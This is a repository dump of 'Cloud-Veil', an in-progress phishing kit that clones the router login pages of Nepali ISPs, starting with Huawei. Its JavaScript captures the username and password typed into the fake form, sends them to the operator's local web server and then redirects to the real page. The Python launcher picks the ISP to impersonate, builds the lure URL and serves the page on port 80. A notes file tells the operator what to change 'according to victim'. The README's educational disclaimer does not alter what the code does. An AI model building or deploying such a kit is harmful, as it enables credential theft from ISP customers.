├── login-pages ├── huawei │ ├── images │ │ ├── hwlog.jpg │ │ ├── loginbg.jpg │ │ ├── greenline.jpg │ │ ├── loginalarm.jpg │ │ └── copyright_log.jpg │ ├── assets │ │ ├── huawei.js │ │ └── huawei.css │ └── index.html ├── things_to_change.md └── veil.html ├── README.md ├── cloud-veil.py └── LICENSE /login-pages/huawei/images/hwlog.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devsdenepal/Cloud-Veil/HEAD/login-pages/huawei/images/hwlog.jpg -------------------------------------------------------------------------------- /login-pages/huawei/images/loginbg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devsdenepal/Cloud-Veil/HEAD/login-pages/huawei/images/loginbg.jpg -------------------------------------------------------------------------------- /login-pages/huawei/images/greenline.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devsdenepal/Cloud-Veil/HEAD/login-pages/huawei/images/greenline.jpg -------------------------------------------------------------------------------- /login-pages/huawei/images/loginalarm.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devsdenepal/Cloud-Veil/HEAD/login-pages/huawei/images/loginalarm.jpg -------------------------------------------------------------------------------- /login-pages/huawei/images/copyright_log.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/devsdenepal/Cloud-Veil/HEAD/login-pages/huawei/images/copyright_log.jpg -------------------------------------------------------------------------------- /login-pages/things_to_change.md: -------------------------------------------------------------------------------- 1 | # Things to Change 2 | ## Things to be changed according to victim 3 | 1. Product Name 4 | 2. DNS Server / login page URL 5 | ## Things to fetch 6 | 1. Username : input_id(txt_Username) 7 | 2. Password : input_id(txt_Password) 8 | -------------------------------------------------------------------------------- /login-pages/veil.html: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Disclaimer 2 | ## Cloud-Veil (Under development) 3 | A Project aimed to present the risk of phishing attacks on the current ISP's login page (NEPAL). EDUCATIONAL PURPOSE ONLY , THIS PROJECT IS IN PROGRESS (TESTING), DEVELOPER WILL NOT BE RESPONSIBLE FOR ANY HARMS CAUSED BY USING THIS TOOL. BUT THIS IS STILL NOT READY TO USE. 4 | -------------------------------------------------------------------------------- /login-pages/huawei/assets/huawei.js: -------------------------------------------------------------------------------- 1 | const urlParams = new URLSearchParams(window.location.search); 2 | const product_name = urlParams.get("product_name").toLocaleUpperCase(); 3 | const real_page_address = urlParams.get("return_to").toLocaleUpperCase(); 4 | function loadFrame() { 5 | document.title = real_page_address; 6 | let pr_name_div = document.getElementById("ProductName"); 7 | pr_name_div.innerText = product_name; 8 | } 9 | function LoginSubmit() { 10 | let username = document.getElementById("txt_Username").value; 11 | let password = document.getElementById("txt_Password").value; 12 | 13 | let data = { username: username, password: password }; 14 | 15 | var xhttp = new XMLHttpRequest(); 16 | xhttp.onreadystatechange = function () { 17 | if (this.readyState == 4 && this.status == 404) { 18 | window.location.href=real_page_address; 19 | } 20 | }; 21 | xhttp.open("GET", "who?USERNAME="+username+"PASSWORD="+password, true); 22 | xhttp.send(); 23 | } 24 | -------------------------------------------------------------------------------- /cloud-veil.py: -------------------------------------------------------------------------------- 1 | #foredupurposeonly 2 | import os 3 | import time 4 | import socket 5 | import webbrowser 6 | print(''' 7 | @@@@@ ## &&&&&& **** **** ____ 8 | @@ ## && && ** ** || \`\` 9 | @@ ## && && ** ** || || 10 | @@ ## && && ** ** || // 11 | @@@@@ #### &&&&&& ******* ||____// [VEIL] 12 | 13 | $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 14 | (c)Devs d`e Nepal 15 | Dev. Gautam Kumar 16 | ~~~~~~~~~~~~~~~~~ 17 | ''') 18 | time.sleep(1) 19 | # get target type 20 | target_type= input("Select ISP :-\n1. HUAWEI\n2.WORLDLINK\n3.Nepal Telecom\n4.DishHome\n5.Vianet\nEnter the selction: ") 21 | target_type = int(target_type)-1 22 | product_name = input("Product Name (Optional): ") 23 | targets = ["HUAWEI","WORLDLINK","NTC","DISHHOME","VIANET"] 24 | original_address = input("URL or DNS address of the login page: ") 25 | # specify the directory you want to serve 26 | print(os.getcwd()) 27 | directory = os.getcwd() +'/login-pages/'+ targets[target_type] 28 | # change to the directory 29 | os.chdir(directory) 30 | ## getting the hostname by socket.gethostname() method 31 | hostname = socket.gethostname() 32 | ## getting the IP address using socket.gethostbyname() method 33 | ip_address = socket.gethostbyname(hostname) 34 | ## printing the hostname and ip_address 35 | # print(f"Hostname: {hostname}") 36 | print(f"IP Address: {ip_address}") 37 | dummy_page_location = "http://"+ip_address+"?product_name="+product_name+"&return_to="+original_address 38 | print("Dummy page URL:"+dummy_page_location) 39 | webbrowser.open(dummy_page_location) 40 | print("Starting the server...") 41 | # start the server 42 | os.system("sudo python3 -m http.server 80") 43 | -------------------------------------------------------------------------------- /login-pages/huawei/index.html: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 |